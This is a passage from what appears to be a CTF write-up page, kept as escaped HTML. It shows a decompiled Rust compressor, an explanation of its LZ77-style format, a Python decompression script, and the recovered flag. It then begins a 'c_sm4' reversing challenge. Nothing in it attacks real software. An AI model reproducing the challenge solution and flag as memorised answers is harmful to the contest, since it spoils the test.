\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>char *compress::main()\n{\n  void *v0; \/\/ rbx\n  unsigned __int64 v1; \/\/ rbp\n  __int64 v2; \/\/ r13\n  size_t v3; \/\/ rcx\n  __int64 v4; \/\/ rax\n  _QWORD *v5; \/\/ r12\n  double v6; \/\/ rbp\n  __int64 v7; \/\/ r14\n  __int64 i; \/\/ rbx\n  __int64 v9; \/\/ rbp\n  double *v10; \/\/ r14\n  __int64 (__fastcall *v11)(); \/\/ r13\n  __int64 v12; \/\/ r15\n  unsigned __int64 v13; \/\/ rbx\n  _QWORD *v14; \/\/ r14\n  __int64 v15; \/\/ rsi\n  double v16; \/\/ r12\n  _QWORD *v17; \/\/ r14\n  unsigned __int64 v18; \/\/ rsi\n  unsigned __int64 v19; \/\/ rdx\n  char *v20; \/\/ r8\n  char *v21; \/\/ rcx\n  unsigned __int64 v22; \/\/ rbx\n  void *v23; \/\/ r13\n  __int64 v24; \/\/ rbp\n  void *v25; \/\/ r12\n  unsigned __int64 v26; \/\/ r14\n  unsigned __int64 v27; \/\/ rcx\n  unsigned __int64 v28; \/\/ rax\n  unsigned __int64 v29; \/\/ rcx\n  __int64 v30; \/\/ r9\n  __int64 v31; \/\/ r10\n  unsigned __int64 v32; \/\/ r13\n  unsigned __int64 v33; \/\/ rbp\n  unsigned int v34; \/\/ r15d\n  bool v35; \/\/ di\n  unsigned __int64 v36; \/\/ r12\n  void *v37; \/\/ rax\n  size_t v38; \/\/ r13\n  char v39; \/\/ r12\n  void *v40; \/\/ rbp\n  __int64 v41; \/\/ rdx\n  __int64 v42; \/\/ rcx\n  __int64 v43; \/\/ r8\n  __int64 v44; \/\/ rdx\n  __int64 v45; \/\/ rcx\n  __int64 v46; \/\/ r8\n  size_t v47; \/\/ rsi\n  __int64 v48; \/\/ rdx\n  __int64 v49; \/\/ rcx\n  __int64 v50; \/\/ r8\n  __int64 v51; \/\/ r13\n  __int64 v52; \/\/ rsi\n  __int64 v53; \/\/ rsi\n  void *v55; \/\/ rbx\n  __int64 v56; \/\/ rsi\n  __int64 v57; \/\/ rsi\n  unsigned __int64 v58; \/\/ rbx\n  _QWORD *v59; \/\/ r14\n  __int64 v60; \/\/ rsi\n  void *v61; \/\/ &#91;rsp+0h] &#91;rbp-158h]\n  __int64 v62; \/\/ &#91;rsp+0h] &#91;rbp-158h]\n  char *v63; \/\/ &#91;rsp+0h] &#91;rbp-158h]\n  size_t v64; \/\/ &#91;rsp+18h] &#91;rbp-140h]\n  size_t v65; \/\/ &#91;rsp+18h] &#91;rbp-140h]\n  void *buf&#91;2]; \/\/ &#91;rsp+20h] &#91;rbp-138h] BYREF\n  _BYTE v67&#91;24]; \/\/ &#91;rsp+30h] &#91;rbp-128h]\n  __int64 v68; \/\/ &#91;rsp+48h] &#91;rbp-110h]\n  void *v69; \/\/ &#91;rsp+50h] &#91;rbp-108h]\n  _QWORD *v70; \/\/ &#91;rsp+58h] &#91;rbp-100h]\n  double v71; \/\/ &#91;rsp+60h] &#91;rbp-F8h]\n  double *v72; \/\/ &#91;rsp+68h] &#91;rbp-F0h] BYREF\n  __int64 (__fastcall *v73)(); \/\/ &#91;rsp+70h] &#91;rbp-E8h]\n  __int64 v74; \/\/ &#91;rsp+78h] &#91;rbp-E0h]\n  double v75; \/\/ &#91;rsp+80h] &#91;rbp-D8h] BYREF\n  _QWORD *v76; \/\/ &#91;rsp+88h] &#91;rbp-D0h]\n  __int64 v77; \/\/ &#91;rsp+90h] &#91;rbp-C8h]\n  __int128 v78; \/\/ &#91;rsp+98h] &#91;rbp-C0h] BYREF\n  __int128 v79; \/\/ &#91;rsp+A8h] &#91;rbp-B0h]\n  unsigned __int64 v80; \/\/ &#91;rsp+B8h] &#91;rbp-A0h]\n  unsigned __int64 v81; \/\/ &#91;rsp+C0h] &#91;rbp-98h]\n  unsigned __int64 v82; \/\/ &#91;rsp+C8h] &#91;rbp-90h]\n  unsigned __int64 v83; \/\/ &#91;rsp+D0h] &#91;rbp-88h]\n  unsigned __int64 v84; \/\/ &#91;rsp+D8h] &#91;rbp-80h]\n  unsigned __int64 v85; \/\/ &#91;rsp+E0h] &#91;rbp-78h]\n  unsigned __int64 v86; \/\/ &#91;rsp+E8h] &#91;rbp-70h]\n  unsigned __int64 v87; \/\/ &#91;rsp+F0h] &#91;rbp-68h]\n  unsigned __int64 v88; \/\/ &#91;rsp+F8h] &#91;rbp-60h]\n  unsigned __int64 v89; \/\/ &#91;rsp+100h] &#91;rbp-58h]\n  unsigned __int64 v90; \/\/ &#91;rsp+108h] &#91;rbp-50h]\n  unsigned __int64 v91; \/\/ &#91;rsp+110h] &#91;rbp-48h]\n  char *v92; \/\/ &#91;rsp+118h] &#91;rbp-40h]\n  _QWORD *v93; \/\/ &#91;rsp+120h] &#91;rbp-38h] BYREF\n\n  std::env::args(&amp;v78);\n  &lt;std::env::Args as core::iter::traits::iterator::Iterator&gt;::next(buf, &amp;v78);\n  v0 = buf&#91;0];\n  if ( __OFSUB__(-(__int64)buf&#91;0], 1) )\n  {\n    if ( *((_QWORD *)&amp;v79 + 1) != *((_QWORD *)&amp;v78 + 1) )\n    {\n      v58 = (*((_QWORD *)&amp;v79 + 1) - *((_QWORD *)&amp;v78 + 1)) \/ 0x18uLL;\n      v59 = (_QWORD *)(*((_QWORD *)&amp;v78 + 1) + 8LL);\n      do\n      {\n        v60 = *(v59 - 1);\n        if ( v60 )\n          __rustc::__rust_dealloc(*v59, v60, 1);\n        v59 += 3;\n        --v58;\n      }\n      while ( v58 );\n    }\n    if ( (_QWORD)v79 )\n      __rustc::__rust_dealloc(v78, 24 * v79, 8);\n    v71 = 0.0;\nLABEL_139:\n    buf&#91;0] = &amp;off_5F3A8;\n    buf&#91;1] = &amp;dword_0 + 1;\n    *(_QWORD *)v67 = 8;\n    *(_OWORD *)&amp;v67&#91;8] = 0;\n    std::io::stdio::_eprint(buf);\n    std::process::exit(1);\n  }\n  v61 = buf&#91;1];\n  v1 = 3;\n  if ( 0xAAAAAAAAAAAAAAABLL * ((*((_QWORD *)&amp;v79 + 1) - *((_QWORD *)&amp;v78 + 1)) &gt;&gt; 3) &gt;= 4 )\n    v1 = 0xAAAAAAAAAAAAAAABLL * ((*((_QWORD *)&amp;v79 + 1) - *((_QWORD *)&amp;v78 + 1)) &gt;&gt; 3);\n  if ( *((_QWORD *)&amp;v79 + 1) - *((_QWORD *)&amp;v78 + 1) &gt; 0x7FFFFFFFFFFFFFE0uLL )\n  {\n    v2 = 0;\n    goto LABEL_6;\n  }\n  v3 = *(_QWORD *)v67;\n  if ( 3 * (8 * v1 + 8) )\n  {\n    v64 = *(_QWORD *)v67;\n    RNvCsiGVaDesi5rv_7___rustc35___rust_no_alloc_shim_is_unstable_v2();\n    v2 = 8;\n    v4 = __rustc::__rust_alloc(3 * (8 * v1 + 8), 8);\n    if ( !v4 )\nLABEL_6:\n      alloc::raw_vec::handle_error(v2, 3 * (8 * v1 + 8));\n    v5 = (_QWORD *)v4;\n    *(_QWORD *)&amp;v6 = v1 + 1;\n    v3 = v64;\n  }\n  else\n  {\n    v5 = (_QWORD *)&amp;byte_8;\n    v6 = 0.0;\n  }\n  *v5 = v0;\n  v5&#91;1] = v61;\n  v5&#91;2] = v3;\n  v75 = v6;\n  v76 = v5;\n  v77 = 1;\n  *(_OWORD *)v67 = v79;\n  *(_OWORD *)buf = v78;\n  v7 = 2;\n  for ( i = 5; ; i += 3 )\n  {\n    &lt;std::env::Args as core::iter::traits::iterator::Iterator&gt;::next(&amp;v72, buf);\n    v62 = v7;\n    v9 = v7 - 1;\n    v10 = v72;\n    if ( v72 == (double *)0x8000000000000000LL )\n      break;\n    v11 = v73;\n    v12 = v74;\n    if ( v9 == *(_QWORD *)&amp;v75 )\n    {\n      alloc::raw_vec::RawVecInner&lt;A&gt;::reserve::do_reserve_and_handle(\n        &amp;v75,\n        v9,\n        0xAAAAAAAAAAAAAAABLL * ((*(_QWORD *)&amp;v67&#91;8] - (unsigned __int64)buf&#91;1]) &gt;&gt; 3) + 1);\n      v5 = v76;\n    }\n    v5&#91;i - 2] = v10;\n    v5&#91;i - 1] = v11;\n    v5&#91;i] = v12;\n    v77 = v62;\n    v7 = v62 + 1;\n  }\n  if ( *(void **)&amp;v67&#91;8] != buf&#91;1] )\n  {\n    v13 = (*(_QWORD *)&amp;v67&#91;8] - (unsigned __int64)buf&#91;1]) \/ 0x18;\n    v14 = (char *)buf&#91;1] + 8;\n    do\n    {\n      v15 = *(v14 - 1);\n      if ( v15 )\n        __rustc::__rust_dealloc(*v14, v15, 1);\n      v14 += 3;\n      --v13;\n    }\n    while ( v13 );\n  }\n  if ( *(_QWORD *)v67 )\n    __rustc::__rust_dealloc(buf&#91;0], 24LL * *(_QWORD *)v67, 8);\n  v16 = v75;\n  v17 = v76;\n  if ( v62 != 4 )\n  {\n    v71 = v75;\n    goto LABEL_139;\n  }\n  v93 = v76 + 6;\n  v18 = v76&#91;4];\n  std::fs::read::inner(buf, v18, v76&#91;5]);\n  v21 = (char *)buf&#91;0];\n  v63 = (char *)buf&#91;1];\n  if ( buf&#91;0] != (void *)0x8000000000000000LL )\n  {\n    v22 = *(unsigned __int64 *)v67;\n    v23 = (void *)(2LL * *(_QWORD *)v67);\n    v71 = v16;\n    v69 = buf&#91;0];\n    if ( (*(_QWORD *)v67 &amp; 0x4000000000000000LL) != 0 )\n    {\n      v24 = 0;\n      goto LABEL_27;\n    }\n    if ( 2LL * *(_QWORD *)v67 )\n    {\n      RNvCsiGVaDesi5rv_7___rustc35___rust_no_alloc_shim_is_unstable_v2();\n      v24 = 1;\n      v18 = 1;\n      v25 = (void *)__rustc::__rust_alloc(v23, 1);\n      if ( !v25 )\nLABEL_27:\n        alloc::raw_vec::handle_error(v24, v23);\n    }\n    else\n    {\n      v25 = &amp;dword_0 + 1;\n    }\n    v70 = v17;\n    buf&#91;0] = v23;\n    buf&#91;1] = v25;\n    *(_QWORD *)v67 = 0;\n    if ( *(double *)&amp;v22 != 0.0 )\n    {\n      v92 = v63 + 14;\n      *(double *)&amp;v65 = 0.0;\n      v26 = 0;\n      while ( 1 )\n      {\n        v27 = 0;\n        if ( v26 &gt;= 0x100 )\n          v27 = v26 - 256;\n        if ( v27 &gt;= v26 )\n          break;\n        v28 = v26 + 1;\n        v29 = v26 + 2;\n        v91 = v26 + 3;\n        v90 = v26 + 4;\n        v89 = v26 + 5;\n        v88 = v26 + 6;\n        v87 = v26 + 7;\n        v86 = v26 + 8;\n        v85 = v26 + 9;\n        v84 = v26 + 10;\n        v83 = v26 + 11;\n        v82 = v26 + 12;\n        v81 = v26 + 13;\n        v30 = 256;\n        if ( v26 &lt; 0x100 )\n          v30 = v26;\n        v80 = v26 + 14;\n        v19 = (unsigned __int64)v92;\n        v20 = &amp;v92&#91;v26];\n        v31 = 0;\n        v32 = v26;\n        v33 = 0;\n        v34 = 0;\n        do\n        {\n          if ( v32 - v30 &gt;= v22 )\n          {\n            v35 = 0;\n            v36 = 0;\n          }\n          else\n          {\n            v18 = (unsigned __int8)v20&#91;-v30 - 14];\n            v35 = 0;\n            v19 = (unsigned __int64)v63;\n            v36 = (_BYTE)v18 == (unsigned __int8)v63&#91;v26];\n            if ( (_BYTE)v18 == v63&#91;v26] &amp;&amp; v28 &lt; v22 )\n            {\n              v18 = v32 - v30 + 1;\n              if ( v18 &gt;= v22 )\n              {\n                v36 = 1;\n                v35 = 0;\n              }\n              else\n              {\n                v18 = (unsigned __int8)v20&#91;-v30 - 13];\n                v19 = (unsigned __int8)v63&#91;v28];\n                v36 = ((_BYTE)v18 == (unsigned __int8)v19) + 1LL;\n                v35 = 0;\n                if ( (_BYTE)v18 == (_BYTE)v19 &amp;&amp; v29 &lt; v22 )\n                {\n                  v19 = v32 - v30 + 2;\n                  if ( v19 &gt;= v22 )\n                  {\n                    v36 = 2;\n                    v35 = 0;\n                  }\n                  else\n                  {\n                    v19 = (unsigned __int8)v20&#91;-v30 - 12];\n                    v18 = (unsigned __int8)v63&#91;v29];\n                    v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 3LL;\n                    v35 = (_BYTE)v19 == (unsigned __int8)v18;\n                    if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v91 &lt; v22 )\n                    {\n                      v19 = v32 - v30 + 3;\n                      v36 = 3;\n                      v35 = 1;\n                      if ( v19 &lt; v22 )\n                      {\n                        v19 = (unsigned __int8)v20&#91;-v30 - 11];\n                        v18 = (unsigned __int8)v63&#91;v91];\n                        v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 3LL;\n                        if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v90 &lt; v22 )\n                        {\n                          v19 = v32 - v30 + 4;\n                          v36 = 4;\n                          if ( v19 &lt; v22 )\n                          {\n                            v19 = (unsigned __int8)v20&#91;-v30 - 10];\n                            v18 = (unsigned __int8)v63&#91;v90];\n                            v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 5LL;\n                            if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v89 &lt; v22 )\n                            {\n                              v19 = v32 - v30 + 5;\n                              v36 = 5;\n                              if ( v19 &lt; v22 )\n                              {\n                                v19 = (unsigned __int8)v20&#91;-v30 - 9];\n                                v18 = (unsigned __int8)v63&#91;v89];\n                                v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 5LL;\n                                if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v88 &lt; v22 )\n                                {\n                                  v19 = v32 - v30 + 6;\n                                  v36 = 6;\n                                  if ( v19 &lt; v22 )\n                                  {\n                                    v19 = (unsigned __int8)v20&#91;-v30 - 8];\n                                    v18 = (unsigned __int8)v63&#91;v88];\n                                    v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 7LL;\n                                    if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v87 &lt; v22 )\n                                    {\n                                      v19 = v32 - v30 + 7;\n                                      v36 = 7;\n                                      if ( v19 &lt; v22 )\n                                      {\n                                        v19 = (unsigned __int8)v20&#91;-v30 - 7];\n                                        v18 = (unsigned __int8)v63&#91;v87];\n                                        v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 7LL;\n                                        if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v86 &lt; v22 )\n                                        {\n                                          v19 = v32 - v30 + 8;\n                                          v36 = 8;\n                                          if ( v19 &lt; v22 )\n                                          {\n                                            v19 = (unsigned __int8)v20&#91;-v30 - 6];\n                                            v18 = (unsigned __int8)v63&#91;v86];\n                                            v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 9LL;\n                                            if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v85 &lt; v22 )\n                                            {\n                                              v19 = v32 - v30 + 9;\n                                              v36 = 9;\n                                              if ( v19 &lt; v22 )\n                                              {\n                                                v19 = (unsigned __int8)v20&#91;-v30 - 5];\n                                                v18 = (unsigned __int8)v63&#91;v85];\n                                                v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 9LL;\n                                                if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v84 &lt; v22 )\n                                                {\n                                                  v19 = v32 - v30 + 10;\n                                                  v36 = 10;\n                                                  if ( v19 &lt; v22 )\n                                                  {\n                                                    v19 = (unsigned __int8)v20&#91;-v30 - 4];\n                                                    v18 = (unsigned __int8)v63&#91;v84];\n                                                    v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 0xBLL;\n                                                    if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v83 &lt; v22 )\n                                                    {\n                                                      v19 = v32 - v30 + 11;\n                                                      v36 = 11;\n                                                      if ( v19 &lt; v22 )\n                                                      {\n                                                        v19 = (unsigned __int8)v20&#91;-v30 - 3];\n                                                        v18 = (unsigned __int8)v63&#91;v83];\n                                                        v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 11LL;\n                                                        if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v82 &lt; v22 )\n                                                        {\n                                                          v19 = v32 - v30 + 12;\n                                                          v36 = 12;\n                                                          if ( v19 &lt; v22 )\n                                                          {\n                                                            v19 = (unsigned __int8)v20&#91;-v30 - 2];\n                                                            v18 = (unsigned __int8)v63&#91;v82];\n                                                            v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 0xDLL;\n                                                            if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v81 &lt; v22 )\n                                                            {\n                                                              v19 = v32 - v30 + 13;\n                                                              v36 = 13;\n                                                              if ( v19 &lt; v22 )\n                                                              {\n                                                                v19 = (unsigned __int8)v20&#91;-v30 - 1];\n                                                                v18 = (unsigned __int8)v63&#91;v81];\n                                                                v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 13LL;\n                                                                if ( (_BYTE)v19 == (_BYTE)v18 &amp;&amp; v80 &lt; v22 )\n                                                                {\n                                                                  v19 = v32 - v30 + 14;\n                                                                  v36 = 14;\n                                                                  if ( v19 &lt; v22 )\n                                                                  {\n                                                                    v18 = (unsigned __int64)v63;\n                                                                    v19 = v80;\n                                                                    v36 = (v20&#91;-v30] == v63&#91;v80]) | 0xELL;\n                                                                  }\n                                                                }\n                                                              }\n                                                            }\n                                                          }\n                                                        }\n                                                      }\n                                                    }\n                                                  }\n                                                }\n                                              }\n                                            }\n                                          }\n                                        }\n                                      }\n                                    }\n                                  }\n                                }\n                              }\n                            }\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n          LOBYTE(v18) = v36 &gt; v33;\n          if ( v36 &gt; v33 &amp;&amp; v35 )\n          {\n            v34 = v30 + v31;\n            v33 = v36;\n          }\n          ++v20;\n          ++v32;\n          --v31;\n        }\n        while ( -v30 != v31 );\n        v37 = buf&#91;0];\n        if ( v33 &lt; 3 )\n          goto LABEL_98;\n        if ( (void *)v65 == buf&#91;0] )\n          alloc::raw_vec::RawVec&lt;T,A&gt;::grow_one(buf);\n        v21 = (char *)buf&#91;1];\n        *((_BYTE *)buf&#91;1] + v65) = (v34 &gt;&gt; 4) | 0x80;\n        v38 = v65 + 1;\n        *(_QWORD *)v67 = v65 + 1;\n        v39 = (16 * v34) | v33;\n        if ( (void *)(v65 + 1) != buf&#91;0] )\n          goto LABEL_34;\nLABEL_97:\n        alloc::raw_vec::RawVec&lt;T,A&gt;::grow_one(buf);\nLABEL_34:\n        *((_BYTE *)buf&#91;1] + v38) = v39;\n        v65 = v38 + 1;\n        *(_QWORD *)v67 = v38 + 1;\n        v26 += v33;\n        if ( v26 &gt;= v22 )\n        {\n          v40 = buf&#91;0];\n          v25 = buf&#91;1];\n          goto LABEL_102;\n        }\n      }\n      v37 = buf&#91;0];\nLABEL_98:\n      v38 = v65;\n      v21 = v63;\n      v39 = v63&#91;v26];\n      v33 = 1;\n      if ( (void *)v65 != v37 )\n        goto LABEL_34;\n      goto LABEL_97;\n    }\n    *(double *)&amp;v65 = 0.0;\n    v40 = 0;\nLABEL_102:\n    v75 = *(double *)&amp;v22;\n    v72 = &amp;v75;\n    v73 = core::fmt::num::imp::&lt;impl core::fmt::Display for usize&gt;::fmt;\n    buf&#91;0] = &amp;off_5F328;\n    buf&#91;1] = &amp;dword_0 + 2;\n    *(_QWORD *)&amp;v67&#91;16] = 0;\n    *(_QWORD *)v67 = &amp;v72;\n    *(_QWORD *)&amp;v67&#91;8] = 1;\n    std::io::stdio::_print(buf, v18, v19, v21, v20);\n    v75 = *(double *)&amp;v65;\n    v72 = &amp;v75;\n    v73 = core::fmt::num::imp::&lt;impl core::fmt::Display for usize&gt;::fmt;\n    buf&#91;0] = &amp;off_5F348;\n    buf&#91;1] = &amp;dword_0 + 2;\n    *(_QWORD *)&amp;v67&#91;16] = 0;\n    *(_QWORD *)v67 = &amp;v72;\n    *(_QWORD *)&amp;v67&#91;8] = 1;\n    std::io::stdio::_print(buf, v18, v41, v42, v43);\n    if ( *(double *)&amp;v22 != 0.0 )\n    {\n      v75 = (1.0 - (double)(int)v65 \/ (double)(int)v22) * 100.0;\n      v72 = &amp;v75;\n      v73 = core::fmt::float::&lt;impl core::fmt::Display for f64&gt;::fmt;\n      buf&#91;0] = &amp;off_5F368;\n      buf&#91;1] = &amp;dword_0 + 2;\n      *(_QWORD *)&amp;v67&#91;16] = &amp;off_8FE8;\n      v68 = 1;\n      *(_QWORD *)v67 = &amp;v72;\n      *(_QWORD *)&amp;v67&#91;8] = 1;\n      std::io::stdio::_print(buf, v18, v44, v45, v46);\n    }\n    v17 = v70;\n    v47 = v70&#91;8];\n    v51 = std::fs::write::inner((void *)v70&#91;7], v47, v25, v65);\n    if ( v40 )\n    {\n      v47 = (size_t)v40;\n      __rustc::__rust_dealloc(v25, v40, 1);\n    }\n    if ( !v51 )\n    {\n      v72 = (double *)&amp;v93;\n      v73 = &lt;&amp;T as core::fmt::Display&gt;::fmt;\n      buf&#91;0] = &amp;off_5F388;\n      buf&#91;1] = &amp;dword_0 + 2;\n      *(_QWORD *)&amp;v67&#91;16] = 0;\n      *(_QWORD *)v67 = &amp;v72;\n      *(_QWORD *)&amp;v67&#91;8] = 1;\n      v16 = v71;\n      v55 = v69;\n      std::io::stdio::_print(buf, v47, v48, v49, v50);\n      if ( v55 )\n        __rustc::__rust_dealloc(v63, v55, 1);\n      if ( *v17 )\n        __rustc::__rust_dealloc(v17&#91;1], *v17, 1);\n      v56 = v17&#91;3];\n      if ( v56 )\n        __rustc::__rust_dealloc(v17&#91;4], v56, 1);\n      v57 = v17&#91;6];\n      if ( v57 )\n        __rustc::__rust_dealloc(v17&#91;7], v57, 1);\n      v63 = 0;\n      if ( v16 != 0.0 )\n        goto LABEL_117;\n      return v63;\n    }\n    v16 = v71;\n    if ( v69 )\n      __rustc::__rust_dealloc(v63, v69, 1);\n    v63 = (char *)v51;\n  }\n  if ( *v17 )\n    __rustc::__rust_dealloc(v17&#91;1], *v17, 1);\n  v52 = v17&#91;3];\n  if ( v52 )\n    __rustc::__rust_dealloc(v17&#91;4], v52, 1);\n  v53 = v17&#91;6];\n  if ( v53 )\n    __rustc::__rust_dealloc(v17&#91;7], v53, 1);\n  if ( v16 != 0.0 )\nLABEL_117:\n    __rustc::__rust_dealloc(v17, 24LL * *(_QWORD *)&amp;v16, 8);\n  return v63;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b97\u6cd5\u903b\u8f91\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5206\u6790 compress::main \u7684\u53cd\u7f16\u8bd1\u4ee3\u7801\u53ef\u77e5\uff0c\u8fd9\u662f\u4e00\u4e2a LZ77 \u53d8\u79cd\u538b\u7f29\u7b97\u6cd5\u3002\n\u8bfb\u53d6\u5b57\u8282 b1\uff0c\u68c0\u67e5\u6700\u9ad8\u4f4d\uff080x80\uff09\u3002\n\u5b57\u9762\u91cf\uff1a\u82e5 b1 &lt; 0x80\uff0c\u76f4\u63a5\u8f93\u51fa\u8be5\u5b57\u8282\u3002\n\u538b\u7f29\u5bf9\uff1a\u82e5 b1 &gt;= 0x80\uff0c\u8bfb\u53d6\u4e0b\u4e00\u4e2a\u5b57\u8282 b2\u3002\n\u8ddd\u79bb\uff1a\u7531 b1 \u7684\u4f4e7\u4f4d\u548c b2 \u7684\u9ad84\u4f4d\u7ec4\u6210\u3002\n\u957f\u5ea6\uff1a\u7531 b2 \u7684\u4f4e4\u4f4d\u7ec4\u6210\u3002\n\u6839\u636e\u8ddd\u79bb\u5411\u524d\u56de\u6eaf\u5e76\u590d\u5236\u6307\u5b9a\u957f\u5ea6\u7684\u6570\u636e\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def solve():\n    with open(\"out1.z\", \"rb\") as f:\n        data = f.read()\n\n    out = bytearray()\n    i = 0\n    while i &lt; len(data):\n        b1 = data&#91;i]\n        i += 1\n        if b1 &lt; 0x80:\n            out.append(b1)\n        else:\n            if i &gt;= len(data): break\n            b2 = data&#91;i]\n            i += 1\n\n            dist = ((b1 &amp; 0x7F) &lt;&lt; 4) | (b2 &gt;&gt; 4)\n            length = b2 &amp; 0x0F\n\n            start = len(out) - dist\n            for _ in range(length):\n                out.append(out&#91;start])\n                start += 1\n\n    print(out.decode(errors='ignore'))\n\nif __name__ == '__main__':\n    solve()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-404-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-404-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2737\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-405.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"665\" height=\"275\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-405.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2738\"  sizes=\"auto, (max-width: 665px) 100vw, 665px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>unictf{miaoyunmengzip}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">c_sm4<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-406-1024x572.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"572\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-406-1024x572.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2739\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u752864dbg\u8fd0\u884cexe<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-407.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"869\" height=\"321\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-407.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2740\"  sizes=\"auto, (max-width: 869px) 100vw, 869px\" \/><\/div><\/figure>\n\n\n\n<p 